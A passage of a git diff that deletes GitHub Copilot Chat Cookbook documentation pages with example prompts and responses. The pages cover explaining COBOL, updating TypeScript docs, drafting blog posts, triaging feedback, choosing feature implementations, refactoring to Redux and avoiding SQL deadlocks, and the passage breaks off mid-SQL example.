b/content/copilot/copilot-chat-cookbook/documenting-code/explaining-legacy-code.md deleted file mode 100644 index ff8c79005197..000000000000 --- a/content/copilot/copilot-chat-cookbook/documenting-code/explaining-legacy-code.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: 'Explaining legacy code' -shortTitle: Explain legacy code -intro: '{% data variables.product.prodname_copilot_chat_short %} can help with explaining unfamiliar code.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/documenting-code/explaining-legacy-code -versions: - feature: copilot -category: - - 'Documenting code' -complexity: - - Simple -octicon: book -topics: - - Copilot ---- - -One of the biggest challenges with legacy code is helping developers understand it who aren't familiar with the languages or frameworks. With {% data variables.product.prodname_copilot_chat_short %}, you can explain the background you have and ask for an explanation. - -## Example scenario - -Consider the following COBOL code. If you're a Python developer (as an example), you might not be familiar with COBOL, so you could ask {% data variables.product.prodname_copilot_chat_short %} to explain the code to you. - -```text -IDENTIFICATION DIVISION. -PROGRAM-ID. INSERT-RECORD. - -ENVIRONMENT DIVISION. - -DATA DIVISION. -WORKING-STORAGE SECTION. -01 WS-STATUS-FLAGS. - 05 WS-DB-STATUS PIC X(2). - 88 WS-SUCCESS VALUE "00". - 05 WS-SQLCODE PIC S9(9) COMP. - 05 WS-ERROR-MSG PIC X(50). - -LINKAGE SECTION. -01 LS-PARAMETERS. - 05 LS-PERSON-RECORD. - 10 PERSON-ID PIC 9(6). - 10 PERSON-NAME PIC X(50). - 10 PERSON-AGE PIC 9(3). - 05 LS-RESULT PIC X. - 88 SUCCESS VALUE 'T'. - 88 FAILED VALUE 'F'. - -PROCEDURE DIVISION USING LS-PARAMETERS. - PERFORM INSERT-AND-VALIDATE - GOBACK - . - -INSERT-AND-VALIDATE. - EXEC SQL - INSERT INTO persons (id, name, age) - VALUES (:PERSON-ID, :PERSON-NAME, :PERSON-AGE) - END-EXEC - - IF SQLCODE = 0 - EXEC SQL COMMIT END-EXEC - SET SUCCESS TO TRUE - ELSE - EXEC SQL ROLLBACK END-EXEC - SET FAILED TO TRUE - STRING "DB Error: " SQLCODE - DELIMITED BY SIZE - INTO WS-ERROR-MSG - DISPLAY WS-ERROR-MSG - END-IF - . -``` - -## Example prompt - -You can ask for an explanation of the COBOL code from the point of view of a Python developer. - -`I'm a Python developer. Help me better understand this code. Please provide analogies.` - -## Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -{% data variables.product.prodname_copilot_short %} provides a high-level overview of the code, before walking through the various operations and explaining them in a way that Python developers can understand. It uses analogies to make the explanation more accessible. The response might start with the following: - -```text -Let me explain this COBOL code using Python analogies: - -High-Level Overview -This is similar to a Python function that inserts a person's record into a database with error handling. -``` - -```python -# In Python, the COBOL divisions would be like: - -# IDENTIFICATION DIVISION = module/file name -# PROGRAM-ID = function name -def insert_record(): - pass - -# DATA DIVISION would be like declaring these variables: -class WorkingStorage: - db_status = "" # WS-DB-STATUS - sqlcode = 0 # WS-SQLCODE - error_msg = "" # WS-ERROR-MSG - -# LINKAGE SECTION is like function parameters -class PersonRecord: - def __init__(self, person_id: int, person_name: str, person_age: int): - self.person_id = person_id # PERSON-ID - self.person_name = person_name # PERSON-NAME - self.person_age = person_age # PERSON-AGE - self.success = False # LS-RESULT -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/documenting-code/index.md b/content/copilot/copilot-chat-cookbook/documenting-code/index.md deleted file mode 100644 index 286045ffb296..000000000000 --- a/content/copilot/copilot-chat-cookbook/documenting-code/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Documenting code -intro: 'Discover ways that you can use {% data variables.product.prodname_copilot_chat %} to document your code.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/documenting-code -versions: - feature: copilot -topics: - - Copilot -children: - - /documenting-legacy-code - - /explaining-legacy-code - - /explaining-complex-algorithms-or-logic - - /syncing-documentation-with-code-changes - - /writing-discussions-or-blog-posts ---- diff --git a/content/copilot/copilot-chat-cookbook/documenting-code/syncing-documentation-with-code-changes.md b/content/copilot/copilot-chat-cookbook/documenting-code/syncing-documentation-with-code-changes.md deleted file mode 100644 index 0f4831efecff..000000000000 --- a/content/copilot/copilot-chat-cookbook/documenting-code/syncing-documentation-with-code-changes.md +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: 'Syncing documentation with code changes' -shortTitle: Sync documentation -intro: '{% data variables.product.prodname_copilot_chat_short %} can help with keeping code documentation up-to-date.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/documenting-code/syncing-documentation-with-code-changes -versions: - feature: copilot -category: - - 'Documenting code' -complexity: - - Intermediate -octicon: book -topics: - - Copilot ---- - -It can be difficult to keep documentation up to date with changes to code. However, good documentation is essential for maintaining codebases and ensuring that developers can work effectively with the code. {% data variables.product.prodname_copilot_chat_short %} can assist in updating existing code documentation. - -## Example scenario - - Imagine a scenario where you have a TypeScript function that retrieves products by category name, but the documentation is out of date. - -```typescript -/** - * Retrieves all products belonging to a specific category. - * - * @param categoryId - The unique identifier of the product category - * @returns Promise that resolves to an array of Product objects - * - * @example - * const products = await getByCategoryName(5); - * // Returns: [{id: 1, name: "Product 1", categoryId: 5}, ...] - * - * @throws {PrismaClientKnownRequestError} If database query fails - * @see {@link https://www.prisma.io/docs/reference/api-reference/prisma-client-reference#findmany} - */ -async getByCategoryName(categoryId: number, page = 1, pageSize = 10): Promise<Products[]> { - return await prisma.products.findMany({ - where: { categoryId }, - skip: (page - 1) * pageSize, - take: pageSize, - include: { - reviews: { - orderBy: { date: 'desc' }, - take: 5, - }, - }, - }); -} -``` - -## Example prompt - -You can ask {% data variables.product.prodname_copilot_chat_short %} to update the documentation according to the current code. - -`Update the existing documentation for the getByCategoryName function to reflect the current implementation.` - -## Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -{% data variables.product.prodname_copilot_short %} explains it will create the updated documentation for the `getByCategoryName` function. It then provides the updated documentation, which now includes the `page` and `pageSize` parameters, as well as the `PrismaClientKnownRequestError` error that can be thrown. - -For example: - -```typescript -/** - * Retrieves all products belonging to a specific category with pagination and recent reviews. - * - * @param categoryId - The unique identifier of the product category - * @param page - The page number for pagination (default: 1) - * @param pageSize - Number of products per page (default: 10) - * @returns Promise that resolves to an array of Product objects with their 5 most recent reviews - * - * @example - * const products = await getByCategoryName(5, 2, 20); - * // Returns: [{id: 1, name: "Product 1", categoryId: 5, reviews: [...5 recent reviews]}, ...] - * - * @throws {PrismaClientKnownRequestError} If database query fails - * @see {@link https://www.prisma.io/docs/reference/api-reference/prisma-client-reference#findmany} - */ -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/documenting-code/writing-discussions-or-blog-posts.md b/content/copilot/copilot-chat-cookbook/documenting-code/writing-discussions-or-blog-posts.md deleted file mode 100644 index 06aa72de4947..000000000000 --- a/content/copilot/copilot-chat-cookbook/documenting-code/writing-discussions-or-blog-posts.md +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: Writing discussions or blog posts -shortTitle: Write discussions or blog posts -intro: '{% data variables.product.prodname_copilot_chat_short %} can help you generate ideas, outline, or draft discussions or blog posts.' -versions: - feature: copilot -category: - - 'Documenting code' -complexity: - - Simple -octicon: book -topics: - - Copilot ---- - -When you're working on code, you often need to quickly create accurate and comprehensive explanations to share your work with teammates or the broader community. {% data variables.product.prodname_copilot_chat_short %} can help by suggesting ideas, outlines, or complete drafts for discussions or blog posts—enabling you to document and communicate clearly, so you can spend more time focused on coding. - ->[!TIP] You can include links to specific pull requests or issues in your prompts to give {% data variables.product.prodname_copilot_chat_short %} more context. If you're not getting the results you expect, try specifying the repository in your prompt to help {% data variables.product.prodname_copilot_chat_short %} focus on the right project. - -## Generating ideas - -When you're working on a project, you may need to write a discussion or blog post to share your ideas, get feedback, or communicate with your team. {% data variables.product.prodname_copilot_chat_short %} can help you generate ideas. - -### Brainstorming topics from recent work - -If you're looking for ideas for a discussion post, you can ask {% data variables.product.prodname_copilot_chat_short %} to suggest topics based on your recent work. - -#### Example prompts - -`I’ve worked on three major PRs (#21, #27, and #44) in the last month. Could you suggest five potential blog topics that highlight the unique challenges or solutions from each PR?` - -`We improved backend performance in PR #16 and addressed user feedback in Issues #10 and #12. What interesting blog ideas can you propose that tie these updates together for a developer audience?` - -`We released a major version upgrade in PR #99 for our library. Could you suggest three blog angles that highlight the major changes, the lessons we learned, and how the community can benefit from it?` - -`We’ve been working on a new AI-driven feature in PR #120. Please propose some blog post titles and short descriptions that will catch developers’ attention while explaining how this feature fits into our product roadmap.` - -### Writing technical deep dives - -When you're working on a complex feature or system, you may need to write a technical deep dive to share your work with your team or the broader community. {% data variables.product.prodname_copilot_chat_short %} can help you generate ideas for technical deep dives by suggesting topics based on your recent work. - -#### Example prompts - -`I just finished implementing a complex authentication flow in PR #30. Could you outline a blog post explaining the challenges we faced, the approach we took to solve them, and a brief code example highlighting key sections?` - -`Generate a blog outline that discusses our shift to a more modular architecture in PR #55. I want to explain why we made the switch, how it impacts scalability, and any trade-offs we faced along the way.` - -`Propose a developer-focused blog post centered on the new caching mechanism we built in PR #64. Highlight key aspects of the implementation, show code snippets, and explain the performance improvements.` - -### Sharing best practices - -When you're working on a project, you may need to write a discussion post to share best practices or lessons learned. {% data variables.product.prodname_copilot_chat_short %} can help you generate ideas for discussion posts. - -#### Example prompt - -`I just finished implementing a complex authentication flow in PR #30. Could you outline a blog post explaining the challenges we faced, the approach we took to solve them, and a brief code summary highlighting best practices?` - -## Drafting content - -Once you have an idea for a discussion or blog post, you can ask {% data variables.product.prodname_copilot_chat_short %} to help you draft the content. {% data variables.product.prodname_copilot_chat_short %} can provide you with a detailed outline, a rough draft, or a polished draft, depending on your needs. - -### Outlining a blog post - -If you're looking for help outlining a blog post, you can ask {% data variables.product.prodname_copilot_chat_short %} to suggest a detailed outline for your post. - -#### Example prompt - -`Please propose an outline for a blog post based on PR #16 and Issues #10 and #12. Include new features introduced, user-facing improvements, and next steps.` - -### Drafting a blog post - -If you're looking for help drafting a blog post, you can ask {% data variables.product.prodname_copilot_chat_short %} to suggest a rough draft for your post. - -#### Example prompts - -`Please write a short blog post describing how we integrated a new logging module from PR #40. Highlight how it benefits users, and suggest next steps.` - -`I’d like a draft paragraph summarizing exciting new features or important changes introduced in recent commits. Please explain clearly what changed and why it's significant for users.` - -`Generate a brief ‘shout-out’ paragraph that highlights the contributors who submitted PRs #33 and #37, explaining their impact and thanking them for their work.` - -## Refining your draft - -Once you have a draft, you can ask {% data variables.product.prodname_copilot_chat_short %} to help you refine it. {% data variables.product.prodname_copilot_chat_short %} can provide you with suggestions for improving your writing, making it more engaging, or clarifying complex concepts. - -### Improving tone and style - -If you're looking to improve the tone and style of your writing, you can ask {% data variables.product.prodname_copilot_chat_short %} to suggest ways to make your writing more engaging or accessible. - -#### Example prompt - -`Please rewrite the conclusion in a more informal, conversational style. The original conclusion was: ‘Our team successfully launched a groundbreaking update.’ Make it feel more personal and celebratory.` - -### Including next steps - -If you're looking to include next steps in your blog post, you can ask {% data variables.product.prodname_copilot_chat_short %} to suggest ways to make your writing more actionable. - -#### Example prompt - -`Draft a final section on upcoming milestones and open issues labeled ‘enhancement.’ Show what's coming next, and mention opportunities for community engagement.` diff --git a/content/copilot/copilot-chat-cookbook/functionality-analysis-and-feature-suggestions/analyzing-and-incorporating-user-feedback.md b/content/copilot/copilot-chat-cookbook/functionality-analysis-and-feature-suggestions/analyzing-and-incorporating-user-feedback.md deleted file mode 100644 index 33dcaff891be..000000000000 --- a/content/copilot/copilot-chat-cookbook/functionality-analysis-and-feature-suggestions/analyzing-and-incorporating-user-feedback.md +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: 'Analyzing and incorporating user feedback' -shortTitle: Incorporate feedback -intro: '{% data variables.product.prodname_copilot_chat_short %} can enhance the process of incorporating user feedback into your project.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/functionality-analysis-and-feature-suggestions/analyzing-and-incorporating-user-feedback -versions: - feature: copilot -category: - - 'Functionality analysis' -complexity: - - Intermediate -octicon: lightbulb -topics: - - Copilot ---- - -Gathering and incorporating user feedback is crucial for product development, but it can be a challenging process. Developers and product teams often struggle to effectively analyze user feedback, prioritize it, and implement changes based on that feedback without disrupting existing workflows or introducing new issues. - -## Analyzing user feedback - -User feedback can be overwhelming and it may be difficult to identify what you should respond to. - -### Example scenario - -Imagine you are a maintainer of a popular open source repository. Because the community is very invested in your project, they often open issues to provide feedback. They also frequently interact with open issues. You want to respond to this feedback, but you aren't sure where to start. - -### Example prompt - -This example assumes that you use labels to track issues related to user feedback in your repository. - -Navigate to the **Issues** tab in your repository, then type: - -`Find the issues with the feedback label that have the most reactions, and categorize them based on sentiment.` - ->[!TIP] To try out this prompt, you can go to the [`microsoft/vscode`](https://github.com/microsoft/vscode/issues) repository, which uses labels to track feature requests, and type: `Find the issues with the feature-request label that have the most reactions, and categorize them based on sentiment.` - -### Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -{% data variables.product.prodname_copilot_short %} lists the issues with the most reactions, and provides a sentiment analysis for each issue. You can use this list to make more informed decisions when you are prioritizing your work. - -For example: - -```text -1. [Feedback] CLI error messages are difficult to understand - * Issue URL: #321 - * Reactions: 543 - * Sentiment: Negative - -1. [Feedback] Add API to enable third party integration - * Issue URL: #210 - * Reactions: 482 - * Sentiment: Positive - -1. [Feedback] Shortcut for --with-token CLI option - * Issue URL: #426 - * Reactions: 187 - * Sentiment: Neutral to slightly positive -``` - -## Generating feature specifications - -Feature specifications provide a plan for development and are useful for communication and alignment prior to implementing a new feature. - -### Example scenario - -In this scenario, you've chosen a piece of user feedback to address. Someone requested a shortcut to an existing CLI option. Now you want to create a plan for how you'll implement this. - -### Example prompt - -This example assumes you are asking about an issue in the same repository where you are using {% data variables.product.prodname_copilot_chat_short %}. - -`Write a feature specification for Issue #426.` - -### Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -{% data variables.product.prodname_copilot_short %} generates a feature specification, similar to the following. - -```text -# Feature Specification for Issue #426: Shortcut for --with-token CLI option - -## Description: -Currently, the --with-token option is used to to pass in a token to commands. Typing --with-token each time is cumbersome. This feature proposes a new flag -wt as a shortcut to quickly specify the --with-token option when running various commands. - -## Problem: -Typing --with-token repeatedly is time-consuming and inconvenient for users who frequently use this option. - -## Solution: -Introduce a new flag -wt that serves as a shortcut for the --with-token option. - -## Feature Details: - -### 1. Flag Introduction: --wt will be introduced as a shorthand for --with-token. -Usage: <command> -wt <token> - -### 2. Commands Affected: -All commands that currently support the --with-token option. - -### 3. Backward Compatibility: -- The existing --with-token option will continue to work as before. -- No existing functionality will be removed or altered. - -### 4. Documentation: -- Update documentation to include the new -wt flag. -- Provide examples and usage scenarios for the new flag. - -### 5. Testing: -- Ensure thorough testing of the -wt flag across various commands. -- Test cases should include: - - Valid and invalid tokens. - - Interaction with other options. - - Ensuring no regression in current --with-token functionality. - -## Benefits: -- Improved user experience by reducing the amount of typing required. -- Streamlined command execution for users who frequently use the --with-token option. - -## Potential Risks: -Minimal risk as this feature is an addition and does not alter existing functionality. -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/functionality-analysis-and-feature-suggestions/exploring-potential-feature-implementations.md b/content/copilot/copilot-chat-cookbook/functionality-analysis-and-feature-suggestions/exploring-potential-feature-implementations.md deleted file mode 100644 index 14d9ff891885..000000000000 --- a/content/copilot/copilot-chat-cookbook/functionality-analysis-and-feature-suggestions/exploring-potential-feature-implementations.md +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Exploring potential feature implementations -shortTitle: Explore feature implementations -intro: >- - {% data variables.product.prodname_copilot_chat_short %} can help explore - different approaches for implementing a single feature. -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/functionality-analysis-and-feature-suggestions/exploring-potential-feature-implementations -versions: - feature: copilot -category: - - 'Functionality analysis' -complexity: - - Intermediate -octicon: lightbulb -topics: - - Copilot ---- - -When tasked with implementing new features or enhancing existing ones, developers often face decisions about the best approach to take. {% data variables.product.prodname_copilot_chat_short %} can assist by analyzing the problem and generating implementation options so that you can explore multiple solutions. - -## Example scenario - -You're assigned the task of creating a new feature that displays the most recently viewed items on a user dashboard. Below is an example issue for implementing this functionality: - -```text -[Feature Request] Add "Recent Items" section to user dashboard #753 - -## Issue Description -Users have requested a "Recent Items" section on their dashboard to quickly access the most recently viewed documents, projects, or files. This section should display the ten most recent items, sorted by the last access time. - -## Requirements -* Display up to ten items that the user has accessed recently. -* Items must be sorted by the time they were last accessed. -* The solution should minimize database load. -* Data should reflect updates in near real-time. -* The solution should prioritize performance, especially for large datasets of items. - -## Acceptance Criteria -* Dashboard loads the "Recent Items" section within 200ms under normal load. -* The solution must not degrade performance for users with thousands of items. -``` - -## Example prompt - -You want to evaluate different approaches to this implementation to see whether they fit with your needs and constraints. Here we'll ask {% data variables.product.prodname_copilot_chat_short %} to suggest different approaches. - -Navigate to the issue, then type: - -`Given the criteria in Issue #753, list options for implementation and tradeoffs for each option.` - ->[!TIP] When you are using {% data variables.product.prodname_copilot_short %} to help identify implementation options, it's good practice to start with a general prompt to spark ideas, like in this example. Then you can follow up with more specific questions to dive more deeply into the options it suggests. - -## Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -{% data variables.product.prodname_copilot_short %} lists several different options for implementing this dashboard, along with tradeoffs for each option. Then it makes a recommendation. - -For example: - -```text -# Implementation Options and Tradeoffs for "Recent Items" Section - -## 1. Client-Side Storage - -- Description: Store recent items data in the user's browser using LocalStorage or IndexedDB. -- Tradeoffs: - - Pros: - - Reduces server load by handling data storage and retrieval on the client side. - - Immediate updates and access without server communication. - - Cons: - - Limited by browser storage capacity. - - Data lost if the user clears browser storage or switches devices. - - Security concerns with storing sensitive data on the client side. - -## 2. Server-Side Storage with Database Indexing - -- Description: Store recent items in the database and use indexing to quickly retrieve the most recent items. -- Tradeoffs: - - Pros: - - Centralized data storage, accessible from any device. - - Scalable and can handle large datasets efficiently with proper indexing. - - Cons: - - Increased database load, especially for frequent access updates. - - Potential latency in updating the recent items list. - -## 3. In-Memory Caching (e.g., Redis) - -- Description: Use an in-memory data store like Redis to cache recent items for fast retrieval. -- Tradeoffs: - - Pros: - - Extremely fast data access and updates. - - Reduces database load by offloading frequent read operations. - - Cons: - - Requires additional infrastructure and maintenance. - - Data may be lost if the cache is cleared or server restarts. - -## 4. Hybrid Approach - -- Description: Combine server-side storage with in-memory caching to balance performance and persistence. -- Tradeoffs: - - Pros: - - Fast access through caching, with persistent storage in the database. - - Can handle large datasets and frequent updates efficiently. - - Cons: - - Increased complexity in implementation and maintenance. - - Potential consistency issues between cache and database. - -## 5. Event-Driven Updates - -- Description: Use event-driven architecture to update recent items in real-time as users access documents. -- Tradeoffs: - - Pros: - - Near real-time updates with minimal delay. - - Efficient handling of updates through events rather than periodic polling. - - Cons: - - Requires setting up event handling infrastructure (e.g., message queues). - - Increased complexity in managing events and ensuring consistency. - -## Recommendation - -The hybrid approach (option 4) is a balanced solution, offering fast access through caching and persistence through database storage. It meets performance requirements and scales well with a large dataset, although it involves a more complex implementation. -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/functionality-analysis-and-feature-suggestions/index.md b/content/copilot/copilot-chat-cookbook/functionality-analysis-and-feature-suggestions/index.md deleted file mode 100644 index 9204e636ab68..000000000000 --- a/content/copilot/copilot-chat-cookbook/functionality-analysis-and-feature-suggestions/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Functionality analysis and feature suggestions -intro: 'Discover ways that you can use {% data variables.product.prodname_copilot %} to improve the functionality of your project.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/functionality-analysis-and-feature-suggestions -versions: - feature: copilot -topics: - - Copilot -children: - - /exploring-potential-feature-implementations - - /analyzing-and-incorporating-user-feedback ---- diff --git a/content/copilot/copilot-chat-cookbook/index.md b/content/copilot/copilot-chat-cookbook/index.md deleted file mode 100644 index 850f1e2bb120..000000000000 --- a/content/copilot/copilot-chat-cookbook/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Copilot Chat Cookbook -intro: 'Find examples of prompts to use with {% data variables.product.prodname_copilot_chat %}.' -allowTitleToDifferFromFilename: true -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat -versions: - feature: copilot -topics: - - Copilot -layout: category-landing -children: - - /debugging-errors - - /functionality-analysis-and-feature-suggestions - - /refactoring-code - - /documenting-code - - /testing-code - - /security-analysis ---- diff --git a/content/copilot/copilot-chat-cookbook/refactoring-code/decoupling-business-logic-from-ui-components.md b/content/copilot/copilot-chat-cookbook/refactoring-code/decoupling-business-logic-from-ui-components.md deleted file mode 100644 index fa297c30c34b..000000000000 --- a/content/copilot/copilot-chat-cookbook/refactoring-code/decoupling-business-logic-from-ui-components.md +++ /dev/null @@ -1,151 +0,0 @@ ---- -title: Decoupling business logic from UI components -shortTitle: Decoupling business logic -intro: '{% data variables.product.prodname_copilot_chat_short %} can help you separate your business logic from your user interface code, making it easier to maintain and scale your application.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/refactoring-code/decoupling-business-logic-from-ui-components -versions: - feature: copilot -category: - - 'Refactoring code' -complexity: - - Advanced -octicon: rocket -topics: - - Copilot ---- - -In many front-end frameworks, business logic can become embedded within user interface (UI) components, making the code hard to maintain or extend, especially as the application grows. - -{% data variables.product.prodname_copilot_chat_short %} can help you refactor your code to extract business logic into separate services or state management solutions. This allows the business logic to be reused across different UI components. It also makes the code easier to scale by separating concerns and reducing interdependencies, and it simplifies unit testing by allowing business logic to be tested independently from UI components. - -## Example scenario - -In this JavaScript code, the `Counter` component configures the business logic for the component and also defines UI code for using the component in a web page. - -```javascript -import React, { useState } from 'react'; - -const Counter = () => { - const [count, setCount] = useState(0); - - const increment = () => { - if (count >= 10) { - alert('Count cannot exceed 10'); - return; - } - setCount(count + 1); - }; - - return ( - <div> - <p>Count: {count}</p> - <button onClick={increment}>Increment</button> - </div> - ); -}; - -export default Counter; -``` - -## Example prompt - -`Use Redux to separate the UI code from the Counter component in this code.` - -## Example response - -{% data variables.product.prodname_copilot_short %} provides step-by-step instructions for refactoring the code. - -The suggested changes refactor the `Counter` component to use Redux for state management. This includes setting up a Redux store with an initial state and a reducer, defining an increment action, and modifying the `Counter` component to connect to the Redux store. Finally, the application is wrapped with a `Provider` component to make the Redux store available to the `Counter` component. This separates the UI logic from state management. - -The proposed changes separate the code into five separate files. - -> [!NOTE] {% data variables.product.prodname_copilot_chat_short %} responses are non-deterministic, so you may get a different response from the one described here. - -### actions.js - -```javascript -export const increment = () => ({ - type: 'INCREMENT' -}); -``` - -### reducer.js - -```javascript -const initialState = { - count: 0 -}; - -const counterReducer = (state = initialState, action) => { - switch (action.type) { - case 'INCREMENT': - if (state.count >= 10) { - alert('Count cannot exceed 10'); - return state; - } - return { - ...state, - count: state.count + 1 - }; - default: - return state; - } -}; - -export default counterReducer; -``` - -### store.js - -```javascript -import { createStore } from 'redux'; -import counterReducer from './reducer'; - -const store = createStore(counterReducer); - -export default store; -``` - -### counter.js - -```javascript -import React from 'react'; -import { useSelector, useDispatch } from 'react-redux'; -import { increment } from './actions'; - -const Counter = () => { - const count = useSelector(state => state.count); - const dispatch = useDispatch(); - - return ( - <div> - <p>Count: {count}</p> - <button onClick={() => dispatch(increment())}>Increment</button> - </div> - ); -}; - -export default Counter; -``` - -### index.js - -```javascript -import React from 'react'; -import ReactDOM from 'react-dom'; -import { Provider } from 'react-redux'; -import store from './store'; -import Counter from './counter'; - -ReactDOM.render( - <Provider store={store}> - <Counter /> - </Provider>, - document.getElementById('root') -); -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/refactoring-code/fixing-database-deadlocks-or-data-integrity-issues.md b/content/copilot/copilot-chat-cookbook/refactoring-code/fixing-database-deadlocks-or-data-integrity-issues.md deleted file mode 100644 index 795965710d60..000000000000 --- a/content/copilot/copilot-chat-cookbook/refactoring-code/fixing-database-deadlocks-or-data-integrity-issues.md +++ /dev/null @@ -1,241 +0,0 @@ ---- -title: 'Fixing database deadlocks or data integrity issues' -shortTitle: Fixing database deadlocks -intro: '{% data variables.product.prodname_copilot_chat_short %} can help you avoid code that causes slow or blocked database operations, or tables with missing or incorrect data.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/refactoring-code/fixing-database-deadlocks-or-data-integrity-issues -versions: - feature: copilot -category: - - 'Refactoring code' -complexity: - - Advanced -octicon: rocket -topics: - - Copilot ---- - -Complex database operations–particularly those involving transactions–can lead to deadlocks or data inconsistencies that are hard to debug. - -{% data variables.product.prodname_copilot_chat_short %} can help by identifying points in a transaction where locking or deadlocks could occur, and can suggest best practices for transaction isolation or deadlock resolution, such as adjusting locking strategies or handling deadlock exceptions gracefully. - -> [!NOTE] The responses shown in this article are examples. {% data variables.product.prodname_copilot_chat_short %} responses are non-deterministic, so you may get different responses from the ones shown here. - -## Avoiding simultaneous updates on interdependent rows - -When two or more transactions attempt to update the same rows in a database table, but in different orders, it can cause a circular wait condition. - -### Example scenario - -The following SQL snippet updates one row of a table, then performs an operation that takes several seconds, then updates another row in the same table. This is problematic because the transaction locks the `id = 1` row for several seconds before the transaction completes, releasing the lock. If another transaction starts during this time that performs a similar operation, but locks the `id = 2` row first, so that it can update the row, and then attempts to lock the `id = 1` row, then both transactions will be left waiting for the other to complete, resulting in deadlock. - -```sql -BEGIN TRANSACTION; -UPDATE my_table SET value = 'Some value' WHERE id = 301; --- Simulate a process taking 5 seconds: -WAITFOR DELAY '00:00:05'; -UPDATE my_table SET value = 'Another value' WHERE id = 127; -COMMIT TRANSACTION; -``` - -### Example prompt 1 - -You can check whether there are any problems with this transaction. - -In the editor, select the transaction code, then ask {% data variables.product.prodname_copilot_chat_short %}: - -`Is this transaction good?` - -### Example response 1 - -{% data variables.product.prodname_copilot_short %} tells you that "the transaction in your SQL code is generally fine," but lists some things you may want to consider: lock duration, error handling, and concurrency. It mentions that "the transaction holds locks for an extended period, potentially leading to blocking or deadlocks." The response also includes revised code that adds error handling. - -In this case, you decide not to add error handling. Right now you want to address the potential for deadlocks. - -### Example prompt 2 - -Enter this follow-up prompt: - -`How can I rewrite this code to reduce the chance of deadlock to a minimum while not adversely affecting performance. Tell me anything else I can do to avoid a deadlock. Note: I don't want to add error handling at this time.` - -### Example response 2 - -{% data variables.product.prodname_copilot_short %} gives the following advice: - -> * **Order of Access:** Ensure that all transactions access tables and rows in the same order. -> * **Keep Transactions Short:** Minimize the time a transaction holds locks. -> * **Use Appropriate Isolation Levels:** Use the lowest isolation level that meets your requirements. -> -> Here is a revised version of your code: - -```sql -BEGIN TRANSACTION; --- Update the rows in a consistent order -UPDATE my_table SET value = 'Another value' WHERE id = 127; -UPDATE my_table SET value = 'Some value' WHERE id = 301; --- Simulate a process taking 5 seconds: -WAITFOR DELAY '00:00:05'; -COMMIT TRANSACTION; -``` - -## Avoiding non-index searches - -Searching table columns that have not been indexed will typically result in a full table scan. This can be very slow and resource-intensive, increasing the likelihood of performance bottlenecks. - -### Example scenario - -The following SQL will result in a full table scan if `some_column` is not indexed: - -```sql -BEGIN TRANSACTION; -SELECT * FROM my_table WHERE some_column = 'some_value'; --- More actions here, then: -COMMIT TRANSACTION; -``` - -### Example prompt - -Asking {% data variables.product.prodname_copilot_short %} the following question will usually reveal the potential problem. - -`How can I optimize this transaction?` - -### Example response - -{% data variables.product.prodname_copilot_short %} gives some advice, and mentions that the column should be indexed: - -> To optimize the transaction, you should ensure that the transaction is as short as possible to reduce locking and improve performance. Here are a few tips: -> -> 1. **Minimize the work done in the transaction:** Only include the necessary operations within the transaction. -> 1. **Use appropriate indexes:** Ensure that the columns used in the WHERE clause are indexed. -> 1. **Avoid long-running transactions:** Keep the transaction duration short to avoid locking issues. - -The suggested code in the response includes the SQL command for indexing the column: - -```sql -`CREATE INDEX idx_some_column ON my_table(some_column);` -``` - -## Avoiding long-running transactions - -It's important to avoid long-running queries and transactions, where possible, as these can severely degrade performance and cause bottlenecks for other operations. Additionally, they can consume significant memory and log space, making your application more prone to failure in high-load environments. - -### Example scenario - -The following SQL creates new rows in `target_table`, containing data from selected fields of rows in `source_table` where various conditions are met. If `source_table` is extremely large this may result in a long-running transaction. - -```sql -BEGIN TRANSACTION; - -INSERT INTO target_table (first_name, last_name, email, dept, role, hire_date) -SELECT first_name, last_name, email, department, job_title, start_date -FROM source_table -WHERE (department = 'Engineering' AND (salary > 95000 OR grade > 5)) - OR (department = 'Marketing' AND performance_rating = 'Excellent'); - -COMMIT; -``` - -### Example prompt - -You can ask {% data variables.product.prodname_copilot_short %} whether it's possible to avoid long-running transactions. - -`source_table is an extremely large table. Without altering the table, how can I ensure this SQL doesn't become a long-running query, that blocks other operations?` - -### Example response - -{% data variables.product.prodname_copilot_short %} suggests the following strategies: - -* **Batch Processing:** Process the data in smaller batches instead of a single large transaction. This can be done using a loop with a limit and offset. -* **Indexing:** Ensure that the columns used in the `WHERE` clause (`department`, `salary`, `grade`, and `performance_rating`) are indexed to speed up the query. -* **Locking:** Use row-level locking to avoid locking the entire table. - -It supplies the following example of how you can implement batch processing. This SQL processes the data in batches of 1000 rows at a time, reducing the load on the database and preventing long-running transactions. - -```sql -DECLARE @BatchSize INT = 1000; -DECLARE @Offset INT = 0; -DECLARE @RowCount INT; - -SET @RowCount = @BatchSize; - -WHILE @RowCount = @BatchSize -BEGIN - BEGIN TRANSACTION; - - INSERT INTO target_table (first_name, last_name, email, dept, role, hire_date) - 